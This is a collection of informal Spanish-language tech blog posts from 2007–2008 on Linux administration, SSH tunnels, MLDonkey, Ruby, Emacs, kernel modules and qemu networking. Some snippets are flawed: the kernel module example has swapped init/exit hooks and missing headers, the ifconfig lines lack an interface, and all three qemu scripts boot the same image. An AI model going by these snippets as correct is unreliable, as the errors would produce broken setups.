La parte que necesita saber ensamblador más avanzadillo es cuando queremos jugar de verdad... o en nuestro caso empezar a jugar. Por ejemplo, ¿conocéis la instrucciones sidt y lidt? Para los que la conozcan nada que añadir... para los que no la conocéis... bueno, digamos que tendréis que aprender cosas sobre la arquitectura IA32, aaaahhhh tanto que creemos que sabemos y realmente no sabemos nada. Baste decirles que en el procesador no existen sólo los registros EAX, EBX... sino otros de propósitos específicos que sólo son accesibles en modo protegido o sea, básicamente por el SO... El registro IDT (o IDTR) es uno de ellos y lo que contiene es el puntero a la base de la IDT (Interrupt Descriptor Table) y dicho esto ya podéis ir imaginando lo que tiene, contiene los punteros a los manejadores de interrupciones. Por poner un ejemplo rápido, Linux realiza las llamadas al sistema (syscalls) con la instrucción int 0x80, pues en la posición 0x80 de esa tabla esta el puntero a la rutina que maneja las llamadas al sistema (llamada syscall_call). Se que es lioso pero chico, nadie dijo que aprender cómo funcionan las cosas fuera un camino de rosas (sin haberlo intentado me ha salido un pareado). A lo que ibamos, las instrucciones sidt y lidt lo que hacen es leer del registro (sidt) o escribir en el registro (lidt). La inicialización de los SOs en general escriben en este registro... así que ojito con estas cosas. Bueno, pues con esto queda explicado a que me refiero con "ensamblador avanzadillo", no hay que saberse el repertorio completo y que hace cada una (putas arquitecturas CISC), pero conocer mov, add y mult no es suficiente para disfrutar del bajo nivel :P.

Después de este desvarío momentaneo que me entró voy al meollo de esta entrada. Aprender a pinchar código en ensamblador en C siempre me ha resultado un coñazo, pero últimamente me veo en la necesidad (y ganas) de aprenderlo así que me puse a buscar un poco más decentemente que las otras veces y encontré un manual de un español al que le ocurrió lo mismo en su momento. Empecemos ya a llamar a las cosas por su nombre "Assembly in line" GCC tiene un manual, que no he encontrado, absolutamente completo de ello (y probablemente complejo) así que para empezar recomiendo el manual del hombre este. Desde aquí quiero agradecerle profundamente su trabajo.

Pues eso. Que si queréis aprender a pinchar ensamblador en C esto les servirá, pero primero aprendan algo de arquitectura porque para escribir en ensamblador ya pueden hacerlo directamente sobre un archivo .S, lo interesante aquí es usar "Extended assembly in line" que es lo que nos permite mezclarlo con C.

Happy Hacking!

Todos esos programas que siempre quise ver

2008-02-06T20:09:00.000Z

No les ha pasado nunca que de repente tienen ganas de echarle un ojo a algún programa típico por dentro, al fuente me refiero, y no saben dónde está. Estoy hablando de programas como ls, cat, emacs, bash, etc...

Si uno empieza a poner en google cosas como "ls" o "ls source code" no parece que encuentre lo que buscamos, e incluso si encontraramos algo, no parece que sea muy fiable.

Ultimamente estoy cacharreando bastante con Linux así que decidí buscarlos, en principio empece con koders, pero claro, después me paré a pensar y dije "oye, que estos programas tendrán 20 o más ficheros de código fuente distintos, así no puedo". Al final me puse a pensar y poco y me dije "OYE! TODO ESTO ES SOFTWARE LIBRE!, seguro que la FSF tiene algún repositorio en el que lo distribuyen", y acerte. En la página del proyecto GNU tienen LOS VERDADEROS fuentes.

Bash, Bison, Coreutils, Diffutils, Emacs, Findutils, GIMP, Gcc, GNAT... en fin, todas esas aplicaciones tan maravillosas que usamos más de lo que creemos. Happy Hacking!

Montar particiones al arrancar con FSTAB

2007-12-10T19:44:00.000Z

Este articulo es para enseñar y yo recordar en un futuro, como y que hay que hacer para montar una partición que ubuntu no monta solo al instalar el sistema o simplemente no monta al arrancar el sistema.

Introducción

Primero empezaremos diciendo que en linux las particiones son los archivos hd?? o sd?? que están en el directorio /dev. Si lo que tenemos es un disco duro de conexión IDE o PATA, como quieras llamarlo, pues tus particiones empezarán por hd, luego según donde tengas conectado el disco duro, si en el primer conector o en el segundo, el archivo será hda? o hdb?, también esta los hdc y hdd, dependiendo si el disco duro esta conectado al otro cable IDE. Por otro lado, si tu disco duro es de conexión SATA, entonces tu archivo será sd? y luego la a,b,c, etc... dependiendo de en que cable lo hayas conectado en la controladora. De todas maneras no se si se le asigna los nombres secuencialmente y siempre habrá un sda si hay un sdb, y se puede decir lo mismo de los hda, hdb, etc...

Una vez explicado como se va a llamar tu archivo que representa el disco duro en linux, pasamos a describir como representa las particiones dentro de tu disco duro linux. Imaginemos que tenemos 4 particiones en nuestro disco duro, donde en la 1 tenemos instalada el windows XP, en la 2 , en la una partición que no se exactamente que es (¿la raíz para la partición logica?), en la 3 tenemos instalado el SWAP (partición de intercambio), en la 4 tenemos instalada nuestra distribución Ubuntu y en la 5 tenemos una partición de almacenamiento llamada Datos. Pues planteado este entorno de particiones y que en mi caso mi disco duro es un SATA y solo tengo uno, podemos decir que linux llamará sda1 a la partición donde esta XP, sda2 a esa "partición", sda3 a la partición swap, sda4 a la partición donde esta instalado el linux y sda5 a la partición de datos. Para ver nuestras particiones tenemos el comando:

$ sudo fdisk -l

que nos mostrá lo siguiente:

(hacer clic para agrandar y que se vea bien)

De esta imagen podemos observar que la columna:

1º es el nombre de la partición.

2º marca con un * la partición de arranque donde esta el MBR.

7º nos cuenta en que tipo de formato esta formateada la partición.

Llegados a este punto ya sabemos como tenemos organizado nuestro disco duro y he contado todo esto, por que cuando leo algo sobre linux me gusta que antes me pongan en situación, por que muchas veces hacen las cosas, casi no las explican y peor aun, no explican de donde sacar los datos que son necesarios para realizar la tarea.

Desarrollo

Una vez sabemos ya todo lo necesario, solo decir que el archivo que le dice al linux que particiones tiene que montar al arrancar o que particiones hay en nuestro equipo es el archivo /etc/fstab .

De este archivo lo que nos interesa son explicar para que sirven las columnas útiles ya que hay algunas que no se para que son y por lo tanto no me son útiles para montar simples particiones de datos. A continuación muestro el contenido de mi archivo fstab, con la línea ya introducida.

(hacer clic para agrandar y que se vea bien)

De esta imagen podemos observar que la columna:

1º es el identificador de la partición el UUID.

2º es el lugar donde vamos a montar la partición, la carpeta debe existir previamente.

3º es el tipo de formateo que tiene la partición.

4º son las distintas opciones para montar la partición

la 5º y la 6º no se para que son, yo copie los valores de la partición sda1 que esa si me la monto solo el ubuntu.

En mi caso, la partición que quise meter en el fstab es la sda5, la última linea, para saber que hay que poner en la 1º columna, el UUID, podemos sacar su valor con el siguiente comando, el cual nos devuelve el UUID de la partición que le pasamos.

$ sudo vol_id -uuid /dev/sda5

El valor que nos devuelva, lo pondremos a continuación de UUID="ristra_devuelta". En la 2º columna pondremos la ruta donde queremos montar nuestra partición, acordaos de crear antes la carpeta y de poner los permisos para que podáis acceder sin ser root. En la 3º columna ponemos ntfs, ya que la partición es de ese tipo. En la cuarta columna ponemos las opciones con que queramos montar nuestra partición, estas opciones están explicadas en el man mount. Las mas relevantes son:

umask : Con ello se indica con que permisos se montará la partición.

gid : Con ello se indica que grupo de usuarios podrán acceder a la partición (o eso creo).

Con esto acabo la explicación de como hacer para que se monte una partición automáticamente, solo recordaos que también podemos montar la partición a mano, por si esto no funciona, con $ sudo mount -a /dev/sda5 /media/datos

Bueno chao y asta otra, intentaré completar el articulo añadiendo el significado de más opciones.

PD: Si he tenido algún error de concepto por favor diganlo.

NOTA: Si queréis saber más y/o mejor, leed el primer comentario de OLE, que amplía conocimiento y comenta las cosas que se podían mejorar.

Tuneles SSH

2007-11-23T22:57:00.001Z

SSH Es un protocolo de red para el intercambio datos entre dos ordenadores de manera segura mediante el establecimiento de un canal encriptado de comunicación.

El uso mas común de ssh consiste en establecer un canal seguro para ejecutar comandos remotamente en terminales de la familia Unix. Pero también es posible establecer lo que se denomina túnel ssh desde otros sistemas operativos y con otros fines. Como por ejemplo entre sistemas MSWindows mediante la herramienta putty.

Un túnel ssh permite traernos el puerto de una maquina remota hasta otro puerto de nuestra maquina local. También podemos hacer lo contrario y llevarnos un puerto local a una maquina remota. Además esto puede aplicarse sucesivamente pudiendo llegar a acceder a maquinas no visibles desde nuestra red mediante una cadena de túneles ssh.

Una maquina intermedia nos trae el puerto remoto X de otra al puerto local Y de nuestra maquina local
ssh -l usuarioMaquinaIntermedia -L puertoRemotoX : maquinaDestino : puertoY maquinaIntermedia

Una maquina intermedia nos lleva el puerto local Y de nuestra maquina al puerto remoto X de otra
ssh -l usuarioLocal -R Y : localhost : X maquinaLocal

Con el comando ssh se pueden hacer muchas otras cosas como por ejemplo lanzar remotamente aplicaciones grafías y verlas localmente con el parametro -X, hablilitar compresion en la conexcion con -C , y mucho mas haciendo "man ssh"!

Bajando colecciones de fotos de internet...

2007-11-14T10:08:00.000Z

Bueno, el otro día llegué a mi casa y me dije "joe, sería cojonudo tener todas las tiras de Bilo y Nano". Así que me puse a ello, lo ví claro, script que te trajo al mundo. Aquí lo tienen por si quieren tener toda la colección:

1 #!/bin/bash
2
3 number=1
4 limit=$1
5
6 # We need at least one parameter, a number.
7 if [[ $1 == "" ]]
8 then
9 echo "Usage: $0 "
10 exit
11 fi
12
13 # Take those images.
14 while [[ $number -le $limit ]]
15 do
16 wget "http://www.tiraecol.net/modules/comic/cache/images/tiraecol-$number.png"
17 number=$(($number+1))
18 echo "$number $limit"
19 done

Sencillito de usar. Por cierto, si quieren bajar más cosas, como galerias porno o yo que se qué sólo teneis que cambiarle la dirección web por la vuestra y por supuesto en la parte que alla un numero ponerle $number.

En un futuro subire la version mejorada donde le pasas una dirección cualquiera. Hasta entonces esto es lo que hay, pa una noche no está mal.

Como configurar el MLDonkey

2007-11-12T23:02:00.001Z

Introducción

El MLDonkey es un cliente unificado de varios protocolos p2p, los mas importantes son los de emule y el bittorrent. El MLDonkey es un cliente linux que se controla por consola, cosa que también nos proporciona una interfaz web para su uso mas ameno. A continuación voy a explicar como se configura este cliente para poder usarlo remotamente.

Empezaremos instalando el programa con la siguiente orden en la consola:

sudo apt-get install mldonkey-server

En las explicaciones venideras vamos a tener en cuenta la siguiente configuración:

-Instalación en un ordenador que hace de servidor de emule, con IP 192.168.1.4
-Control remoto de todo el cliente.
-Configuración de Puertos (Abrir Puertos) : puse en el router para la ip 192.168.1.4 el rango ip de tcp y udp 6881 a 6889 para el cliente bittorrent y demás.

Configuración del mldonkey y preparación del sistema.

A continuación lo primero que debemos hacer es entrar en el programa para habilitar la interfaz vía web, para poder hacer una configuración gráfica del cliente más cómoda y amigable.

Para poder acceder remotamente tanto vía web como por telnet hay que poner
que IPs están permitidas. Para ello primero tenemos que entrar en el programa, introduciendo en la consola la orden: "telnet localhost 4000".

Una vez dentro introducimos la siguiente orden, que indica al cliente que acepte todas las conexiones para acceder al cliente que provengan de localhost y de la red que tengo en mi casa:
set allowed_ips "127.0.0.1 192.168.1.255"

Preparación de los directorios donde se alojaran los temporales y los ficheros descargados.

En mi caso lo pongo en un disco duro a parte. Así que tenemos dos manera de cambiar los directorios donde se guardan las cosas

1º es configurar los directorios share en la interfaz web o por consola del mldonkey.

En vez de usar la consola (telnet) o la interfaz web usaremos el fichero downloads.ini que esta dentro de /home/nauzet/.mldonkey/

Este archivo contiene toda la configuracion del mldonkey y para la parte de preparar las rutas de la carpeta incoming lo haremos por aquí que es mas sensillo. Solo tenemos que buscar en la seccion Path, el share direcctori y sustituir en dirname la ruta de la carpeta incoming por la ruta que deseemos.

Ejemplo: En este ejemplo esta claro que se pueden borrar directorios como ej shared y el directories, donde solo tendríamos un solo lugar donde se pasan los archivos descargados. Ademas creo que lo improtante es la estrategia de los directorios, incoming_file, que supongo es como decirle al servidor descarga aqui.
shared_directories = [
{ dirname = shared
strategy = all_files
priority = 0
};
{ dirname = "/media/datoslinux/descargas/files"
strategy = incoming_files
priority = 0
};
{ dirname = "/media/datoslinux/descargas/directories"
strategy = incoming_directories
priority = 0
};]

2º es borrar los directorios donde se guardan y sustituirlos por enlaces simbólicos a donde queremos que se guarden las cosas

ln -s /directorioDestino enlaceSimbolico
*ejemplo (file y directories esta dentro de: /home/nauzet/.mldonkey/

ln -s /media/datoslinux/descargas/ incoming

NOTA: Hay que poner bien los permisos de la carpeta incoming por que sino no arranca el servidor.

Hay que hacer los enlaces de la carpeta share y temp (la carpeta temp esta en la interfaz web y se configura desde alli el destino)

Una vez echo esto el resto de la configuración lo hacemos por la interfaz web, para ello abrimos el navegador web e introducimos la IP del ordenador donde instalamos el cliente (192.168.1.4) y indicamos el puerto al que nos conectamos. Lo que tenemos que poner es:

192.168.1.4:4080

Una vez dentro vamos a la sección de opciones.

configurar el cliente ED2k(emule)
-Aumentar el numero de servidores a conectarse. Para ello buscamos la opción siguiente y le ponemos el nº de servidores.

ED2K-max_connected_servers 10

-puertos para el ED2K

ED2K-port 6885

configurar el cliente bittorrent

Para poder usar el cliente bittitorrent hay que activarlo hay q ir a NET y poner enable_bittorrent a true.

BT-client_port 6882 (cambiar puertos para mas seguridad)

BT-tracker_port 6881

Recursos y utilidades

Extensión para el firefox del mldonkey, para que se añadan al mldonkey los ficheros que vayas a descargar.

http://www.informatik.uni-oldenburg.de/~dyna/mldonkey/

Para configurar lo solo hay que ir a opciones dentro de lo de extensiones y ponerle la ip donde esta el mldonkey

Web mini tutorial español del mldonkey

http://www.guia-ubuntu.org/index.php?title=MLDonkey

Ruby, ese "pequeño" lenguaje de programación

2007-10-23T13:05:00.000Z

Bueno, ya dije en el post anterior me que encuentro aprendiendo a programar con Ruby...

Después de una semanita de estudio estoy empezando a llorar de alegría, ¡Ya me estoy despegando de C!, en esta última semana cuando estaba en clase de compiladores, mientra el profesor decía cosas yo estaba ya pensando en el código que supondría... EN RUBY!!! ESTABA PENSANDO EN UN COMPILADOR EN RUBY! no en Ada, ni C, ni Java... ni siquiera en ensamblador xDD, sólo en Ruby, señal de lo rápido que le puede llegar a gustar a uno este lenguaje y es que el desarrollo es muuuucho más rápido.

Para prácticar un poco decidí hacer las prácticas de otra asignatura que tuve en su momento (MP2) y así coger soltura con más o menos todos los detalles del lenguaje. Pues haciendo un paquete de listas, lo típico, se me ha quedado en esto.

class List
def initialize
@iter = nil
@list = []
end

def insert(elem, *rest)
@list << elem
rest.each do |i|
@list << i
end
return @list
end

def extract
@list.shift
end

def length
@list.length
end
end

¿No les parece simple a la par que fácil de leer y hermoso? ^^. De lo que más orgulloso me siento es del insertar :P

El man de ruby

2007-10-19T12:19:00.000Z

Hola amiguetes! me echabais de menos?... NO?!, jo... Bueno da igual, ahí vamos con el apunte de hoy.

Pues resulta que estoy aprendiendo ruby, ya había mirado cosas hace algún tiempo pero ahora estoy en plan serio, ya escribo algunas cosillas y espero que en breve pueda empezar ya a usar todo el potencial de ruby tanto para hacerme bibliotecas, como programas grandes o para escribir pequeños scripts para hacer rápidamente una tarea.

Bueno, para todo el que quiera empezar y para recordarlo yo mismo, una de las primeras cosas que he aprendido en ésta mi n-ésima vez aprendiendo ruby (y que no sabía las veces anteriores) es que ruby tiene un sistema de documentación, el paquete RDoc (Ruby Documentation). Cuando lo hayamos instalado podremos hacer consultas usando el programa ri (Ruby Information) sobre cualquier método y se nos presentará en pantalla una pequeña ayuda diciendo qué es lo que hace y qué hay que pasarle, etc... MUY MUY ÚTIL PARA NOVATOS.

Otra cosa que me resulta pesada cuando se va a aprender uno un nuevo lenguaje es la cantidad de funciones que desconoce y empiezas a implementartelas tú sin saber que ya existen... Ahora para evitarme esa situación y conocer las funciones, cuando necesito hacer algo que lo primero que se me pasa por la cabeza es "joder, esto es algo típico", entonces es altamente probable que ruby ya tenga una función que hace eso y mil cosas más. Para saber que funciones tiene un objeto o clase existe un método llamado methods que devuelve un array con todos los métodos disponibles para ese objeto. Tener en cuenta que son TODOS, esto es, todos los heredados desde la clase Object hasta la clase que es. Si queremos ver que métodos tiene sólo de la última clase podemos utilizar el método instance_methods. Esto es especialmente útil para buscar nombres que nos suenen a que pueden hacer lo que queremos y luego usar ri o ri [.|#] (lo siento, tuve que poner una regexp :P) para ver qué es lo que realmente hace.

Pues eso, espero que si deciden aprender ruby, esto les ayude.

Aprendizaje de Java y eclipse

2007-09-16T11:08:00.002Z

La red esta repleta de recursos acerca del lenguaje de programación Java, como por ejemplo el de Aprenda java como si estuviera en primero o javapassion. Son tantos los sitios que seguramente no sepamos por donde empezar y probablemente nunca lo hagamos a menos que alguien nos introduzca en el mundillo.

Gracias a los siguientes vídeo tutoriales podemos contar con una persona que nos enseñará en casa y a nuestro ritmo.

Eclipse Vídeo Tutorial.
Excelente contenido audiovisual dónde se muestra todo un ciclo completo de desarrollo usando el IDE eclipse. (Aprenderas a crear un proyecto, depurar, realizar una batería de pruebas, generar documentación, elaborar diagramas UML y programar interfaces gráficas de usuario.)

Eclipse and Java for total Beginners.
Serie de 16 vídeos de menos de 15 minutos cada uno con los que aprenderás lo básico de java y eclipse.

Netbeans Docs & Support
También ofrece videotueoriales cortos de cómo empezar a usar otras tecnología de java mediante el IDE mantenido por SUN

Una vez introducidos. "Lo mejor es seguir las fuentes oficiales!". En este caso el Sun's Java Tutorial y Eclipse documentation.

Además eclipse es uno de esos editores extensibles por la comunidad de usuarios y entre la montaña de plugins, éstos son algunos de mis favoritos:

jadClipse Navegar por el código fuente de archivos .class
FindBug Encontrar fallos potenciales en nuestro código.

Para obtener mas cosas interesantes consulta mis enlaces útiles de java en el delicious

Instalar software limpiamente mediante GNU/Toast

2007-08-31T20:37:00.001Z

Toast permite instalar y gestionar fácilmente software desde sus paquetes de código fuente en sistemas unix sin necesidad de permisos de administrador ni muchos quebraderos de cabeza.

Para ello solo basta seguir los siguientes pasos:

1.Vamos a la Pagina oficial del Toast y leemos un poquito acerca del proyecto
2.Descargamos mediante el comando
wget http://www.toastball.net/toast/toast-1.444.tar.gz
3.Descomprimimos el binario
tar xzf toast-1.444.tar.gz
4.Instalamos la ultima versión de toast con toast
./toast-1.444/toast arm toast
5.Comprovamos que la instalación fue correcta y así de paso vemos la ayuda rapida
toast
6.Darse el gusto instalando lo que necesitemos
toast arm install emacs

El funcionamiento de toast consiste en buscar los paquetes fuentes de una aplicación a partir una base de datos de software libre para posteriormente descargarlo, compilarlo, y ajustar correctamente las variables de entorno que nos permitirán ejecutarla.
Los binarios y fuentes descargados se guardan en el directorio ~/.toast

Emacs. El editor universal

2007-07-22T22:14:00.001Z

Como es posible que emacs, un editor de macros creado en 1975 por Richard Stallman , todavía continué utilizándose? Tal vez analizando la siguiente cita extraida de su manual de referencia oficial lleguemos a entenderlo.

"Emacs is the extensible, customizable, self-documenting real-time display editor."

Extensible gracias a integra un interprete emacs lisp con la que el propio usuario puede extender las funcionalidades del editor. Elisp incorpora sentencias que permiten usar el editor como interfaz entre el usuario y los comandos del sistema. De ahí el que se atribuyan usos tales como editor universal, entorno de desarrollo integrado, escritorio remoto o cómicamente el de sistema operativo.

Es personalizable por usuario ya que es posible adaptar cualquier aspecto de uso a nuestras propias necesidades. Visualización, apariencia, teclas rápidas, comandos y un interminable etc.

Auto documentado ya que además de poder consultar los man o info del sistema, toda la documentasen referente al editor o elisp viene de serie.

Aquí una de mis capturas de panatalla

La mejor manera ser productivos con una aplicaron interactiva es aprender los atajos de teclado de las funciones mas usadas. Emacs esta pensado para esto dedicando dos teclas a modo de comodín para una interacción eficiente con el sistema. Estas teclas son Control(Tecla ctrl) simbolizado por la letra C- y Meta(Tecla alt) por M- de tal forma que por ejemplo para salir del editor hemos de pulsar C-x C-c (dejamos presionado "ctrl" y a continuación pulsamos "x" y luego "c¨)

Hay que resaltar que emacs tiene una de las mayores comunidades de usuarios y desarrolladores que contribuyen a que el editor innove e importe maneras útiles para manipular todo tipo de información. Gracias a esto, la aplicacion se mantiene actualizada y adaptada a las nuevas necesidades. Se acabó el tener que aprender y configurar un nuevo editor con cada tipo de documento o lenguaje de programación!

En este enlace pueden hojear algunas de las mejores funcionalidades del editor mediante mas capturas de pantalla.

Si te animas te recomiendo que visites la sección hispana del wiki de la comunidad internacional de emacs

Compilación de módulos bajo Linux

2007-07-14T15:12:00.000Z

Desde que entré en el mundo de Linux me ha llamado la atención el núcleo y todo lo que represente meter mano por ahí. Lo malo de eso es que resulta engorroso, confuso y complicado empezar (al menos a mi me pasa), después de ganar cierta experiencia moviendome en sistemas UNIX (o sea Linux para que nos vamos a engañar...) me he dado cuenta de que la parte más fructífera para el informatico de a pié son los módulos.

¿Qué es un módulo? Mucha gente cree que un módulo en Linux es un driver, un programa para manejar un cacharro. En principio yo también lo pensé, es más, surgieron precisamente para ese motivo, pero un módulo es más que eso. Un módulo se puede ver a grosso modo como un cacho más del núcleo, un pedazo de código que hace algo, puede ser manejar un dispositivo o puede ser ordenar un vector, que se yo, cualquier cosa. La característica más resaltable de los módulos como todos saben es la posibilidad de la carga y descarga de ese cacho de código mientras el núcleo está funcionando. Para desarrolladores hay otra característica igual de importante que es el hecho de que no hay que recompilar el núcleo para crear el módulo (gracias a dios!).

Lo que voy a poner a continuación después de esta comida de bola es algunas notitas para mi mismo y para quién las necesite sobre como compilar un módulo.

Necesitamos los fuentes de un núcleo. OJO! si queremos que el módulo funcione para el núcleo que corre actualmente hacen falta los fuentes de ese núcleo obviamente, pero podemos generar módulos para otras versiones de núcleo diferentes a la que está corriendo... lógicamente no podremos cargarlos por la incompatibilidad de versiones (aunque creo que se puede desactivar cuando se compila el núcleo) así que lo normal es trabajar con un núcleo X.Y.Z corriendo y tener los fuentes del núcleo X.Y.Z para generar módulos para un núcleo X.Y.Z.
Necesitaremos compilar el núcleo, esto es debido a que hace falta generar el árbol de dependencias para luego poder compilar módulos. Al compilarlo una vez ya se crea este árbol, no hace falta recompilar el núcleo cada vez que queremos compilar un módulo.
Crear un makefile con una sintaxis especial, luego veremos ejemplos.
Compilar el módulo, debe ser compilado dentro del contexto del árbol de dependencias del núcleo, así que no vale ejecutar make y ya está, luego veremos como se hace.
Cargar el módulo con insmod o modprobe. El segundo es más inteligente que el primero, deberiamos acostumbrarnos a usarlo.
Abrir una cervecita, beber y decir "joder! que de puta madre!" si todo funciona else decir "esto es una mierda, el puto ole no sabe explicarse!", abrir una cervecita, beber y descubrir que está pasando.
Si todo funcionó empezar a usar el módulo para darte cuenta de que no funciona el programa en si y que tienes que buscar fallos. Documentación de debugging de módulos hay en el tema 4 del libro "Linux Device Drivers" de Jonathan Corbet, Alexandro Rubini y en la tercera edición también Greg Kroah-Hartman. MUY ENCARECIDAMENTE SE LOS RECOMIENDO EN INGLÉS Y NO EN ESPAÑOL! He mirado la segunda edición en inglés y la tercera en español... no hay color, la traducción es muy mala. Desde aquí se lo dedico Pedro J. Gómez Corriente.

Ejemplitos de código estúpido y compilación sarna (el típico, hola mundo):

---------------------------------------------------------------------------------------
#define EL_MUNDO_APESTA 0

int algo()
{
printk(KERN_ALERT "HOLA MUNDO!!!\n"); //OJO al \n que muchas recompilaciones se hacen por ellos
return EL_MUNDO_APESTA;
}

int blablabla()
{
printk(KERN_WARNING "descargando modulo\n");
return 0;
}

module_init(blablabla);
module_exit(algo);
---------------------------------------------------------------------------------------

El ejemplo lo he picado con la misma sin mirar nada así que es altamente probable que no funcione. Seguramente faltarán bibliotecas, creo que para el tema de módulos hay que añadir siempre una tal linux/modules.h pero no sé. Cuando el make pete miran lo que dice resuelven y tan amiiiiiigos noooooo?!

Makefile para un módulo que es generado por UN ÚNICO fichero objeto.
-----------------------------------------------------------------------------------------
obj-m := nombre_que_queremos_para_el_modulo.o
-----------------------------------------------------------------------------------------

Makefile para un módulo que es generado por VARIOS ficheros objeto.
-----------------------------------------------------------------------------------------
obj-m := nombre_que_queremos_para_el_modulo.o
module-objs := fichero1.o fichero2.o .....
-----------------------------------------------------------------------------------------

Orden make para compilar:

make -C directorio_de_los_fuentes_del_núcleo M=direccion_donde_quiero_estar_despues_de_compilar modules

Red multicast con qemu

2007-07-10T16:41:00.000Z

En ciertas ocasiones, programación en red por ejemplo, nos interesa poder simular una red de computadoras con sóla maquina de manera segura y sin tener que modificar nuestro sistema operativo. Aquí les comento como hacerlo usando un emulador libre llamado qemu que interconectara tres terminales linux mediante una red multicast.

Como se pueden imaginar, en una red multicast si una estación envía un paquete este es recibido por todos por todas las demás al igual que ocurre en una topología de bus.

Primero vamos a descargar qemu para windows
A continuación replicaremos la imagen de linux.img que viene de serie en el directorio y las renombramos como linux1.img linux2.img y linux3.img
Seguidamente crearemos tres archivos .bat en el mismo directorio de la siguiente manera:

archivo uno.bat
qemu.exe -L . -m 128 -hda linux1.img -localtime -M isapc -net nic,macaddr=52:54:00:12:34:56 -net socket,mcast=224.0.0.1:1234

archivo dos.bat
qemu.exe -L . -m 128 -hda linux1.img -localtime -M isapc -net nic,macaddr=52:54:00:12:34:57 -net socket,mcast=224.0.0.1:1234

archivo tres.bat
qemu.exe -L . -m 128 -hda linux1.img -localtime -M isapc -net nic,macaddr=52:54:00:12:34:58 -net socket,mcast=224.0.0.1:1234

Resaltar que hemos cambiado el numero de direccion fisica de cada una de las tres interfaces que usaran los sistemas.

Tras arrancar los tres sistemas mediante la ejecución los .bat. Asignaremos una dirección ip a cada sistema de la siguiente forma:

sistema 1
ifconfig 192.168.0.1 netmask 255.255.255.0

sistema 2
ifconfig 192.168.0.2 netmask 255.255.255.0

sistema 3
ifconfig 192.168.0.3 netmask 255.255.255.0

Finalmente para comprobar que todo funciona probaremos a hacer ping entre cualquiera de los sistemas. Por ejemplo, desde el primero hacia el tercero mediante la orden:
ping -c 2 192.168.0.3

El procedimiento similar con otros sistemas operativos tanto el del host como de las maquinas virtuales a interconectar.

Automatizar tareas repetitivas con Firefox

2007-07-05T23:18:00.001Z

Sabes que es una macro? A mi juicio no es mas que una secuencia de tareas asociadas en una única acción. Por ejemplo: Imagina que quieres personalizar un titulo de pagina con un determinado tipo de fuente, tamaño, alineación y color. En lugar de realizar esa secuencia de operaciones cada vez que necesites insertar un titulo, podrías crear una macro llamada "Mititulo" que se encargue de ello. Me sigues?

El caso es que por casualidad encontré una extensión para el Firefox llamada iMacros que te permite automatizar tareas de negación web.
La extensión simula a una persona que interactúa con el navegador pudiendo rellenar estomáticamente formularios, hacer cliks, cerrar ventanas publicitarias, descargar archivos, etc..
Vamos! Que ahora todas las tareas repetitivas solo las tendrás que realizar tu una sola vez para grabar la macro. Y a partir de ahí, puedes repetirlas cómodamente con un simple golpe de ratón.

Augmented Rality

2007-06-26T10:45:00.001Z

La realidad aumentada extiende y aumenta la realidad con elementos virtuales.

Miren aquí un ejemplo:

El otro día estuve con mis compañeros en el laboratorio de informática jugando con una librería opensource llamada ARToolKit. Con ella es posible crear aplicaciones de realidad aumentada utilizando una webcam y unas tarjetas marcadas.

Tuvimos que compilar la librería y para ello solucionar un par de dependencias con apt-get. Pero al final conseguimos instalarla y hacerla funcionar con uno de los ejemplos del directorio bin. Tras ejecutar el programa y enfocar la cámara hacia la tarjeta marcada, apareció en la pantalla del ordenador un cubo virtual dibujado sobre la tarjeta. Con el que se puede interactuar mediante la tarjeta haciéndola rotar, variando su distancia con respecto a la cámara, etc...

La documentacion oficial, aunque en lengua inglesa, esta bastante bien. Lo único es advertir que si queremos dibujar algo mas complicado necesitaremos conocimientos de la libreria GLUT de OpenGL.

Mas información sobre la realidad aumentada en:

Entrada en la Wikipedia
Búsqueda en Delicious
Búsqueda en Google

Un Articulo en español de la librería Artoolkit

unp : Descromprime archivos en LINUX

2007-06-26T09:23:00.000Z

Navegando un rato, un día de aburrimiento... me encontré esto y me pareció bastante interesante. Muchos hemos pasado por el estrés que supone el tener un archivo comprimido y no saber como diablos descomprimirlo. Hoy en día eso ya no es problema porque los entornos de escritorio ya vienen con herramientas para descomprimir todo tipo de archivos, pero y en consola, como lo haces en consola? Cada archivo tiene una forma de descomprimirlo, hay que aprenderse bastantes opciones de los comandos y es un poco lioso a veces. Pues bien, existe unp, un script escrito en PERL que nos facilitará esta tarea.

Ejemplo de uso: unp nombre_del_archivo

(soporta tar.gz, tar.bz, rmp, deb, zip, rar... )

PD: si sois usuarios de UBUNTU, este script está en los repositorios.

http://www.debianhelp.co.uk/unp.htm

Quitar los iconos del escritorio del Mac OS X

2007-06-24T12:19:00.001Z

Cansado de dichoso icono del disco duro y algunos que otros más que te aparecen en el escritorio? quieres tener un escritorio limpio en Mac? bien... esta es una posible solución.

En un terminal ponemos lo siguiente:
defaults write com.apple.finder CreateDesktop -boolean false

y seguidamente reiniciamos el Finder:
killall Finder

Y ya tenemos nuestro escritorio inmaculado, sin iconos, solo el wallpaper. Y si os arrepentis, volved a poner el comando en la consola con true y se volverá a estar todo como antes ;)

Pasar .DMG a .ISO

2007-06-24T12:18:00.003Z

Alguna vez os habéis visto en la necesidad de pasar una imagen .DMG a .ISO? no se vosotros pero yo si, y mas de una vez. Tengo un iBook G4 y no tengo gravadora de DVD, y muchas de las imágenes .DMG que tengo son de DVD y solo las puedo tostar en el PC. Así que esta es la solución, tras mucho buscar, para que usar aplicaciones de terceros si con abrir una consola en el Mac Os X tenemos jejejeje.

Este es el comando para pasar el .DMG a .ISO:

hdiutil convert /path/filename.dmg -format UDTO -o /path/filename.iso

Así de sencillo tendremos la imagen convertida a .ISO para tostarla facilmente en cualquier SO. ;)

Los programas se ejecutan ahora en internet?

2007-06-24T12:18:00.001Z

A la par de la salida de las nuevas versiones de los populares sistemas operativos de escritorio, nos vamos encontramos autenticas aplicaciones que pueden ejecutarse con un navegador www. Esta claro el concepto de s.o. de escritorio esta cambiando y que tal vez algun dia, nuestros dispositivos electronicos solo dispongan de una especie de sistema cuya principal funcion sea la ejecucion remota de programas.

Estas son mis aplicaciones web de uso diario:

Marcador:
Delicious
Radio:
Last.fm
Musicovery
TV:
Youtube
stage6
Mensajeria:
Gmail
Meebo
Album de fotos:
Picasa
Ofimatica:
Google Docs
Agenta:
Google Calendar
Lector de noticias:
Google Reader
Escritorio:
IGoogle
Netvibes
Tests:
Quizlet

Alguna otra de uso diario que sustituya perfectamente a las convencionales de escritorio?

Aprende y/o mejora tu ingles sin salir de casa

2007-06-24T12:16:00.000Z

Hoy en dia no tenemos escusa para aprender ingles desde casa y de paso hacer alguna gran amistad con alguien del otro lado del planeta. Tecnologias como voip, podcats, portales de educacion, etc. Lo han hecho posible.

